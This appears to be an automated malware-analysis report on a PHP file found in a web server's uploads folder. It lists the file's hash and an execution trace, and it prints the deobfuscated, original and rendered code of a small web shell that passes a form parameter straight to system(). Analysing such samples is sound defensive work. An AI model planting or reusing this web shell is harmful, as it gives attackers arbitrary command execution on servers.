PHP Malware Analysis

00000000ax.php

md5: 765b2eb6ae928e6436a568f3f424ade8

Jump to:

Screenshot


Attributes

Execution

Input


Deobfuscated PHP code

<?php

echo "<form method=\"get\"> <input type=\"text\" name=\"cm\"> <button type=\"submit\">Submit</button></form>";
if (isset($_GET['cm'])) {
    echo system($_GET['cm']);
}

Execution traces

data/traces/765b2eb6ae928e6436a568f3f424ade8_trace-1676262730.5657.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 02:32:36.463508]
1	0	1	0.000146	393528
1	3	0	0.000186	393280	{main}	1		/var/www/html/uploads/00000000ax.php	0	0
1	3	1	0.000203	393280
			0.000228	314240
TRACE END   [2023-02-13 02:32:36.463621]


Generated HTML code

<html><head></head><body><input type="text" name="cm"> <button type="submit">Submit</button>';

if (isset($_GET['cm'])) {
    echo system($_GET['cm']);
}
?&gt;</body></html>

Original PHP code

<?
echo '<form method="get"> <input type="text" name="cm"> <button type="submit">Submit</button></form>';

if (isset($_GET['cm'])) {
    echo system($_GET['cm']);
}
?>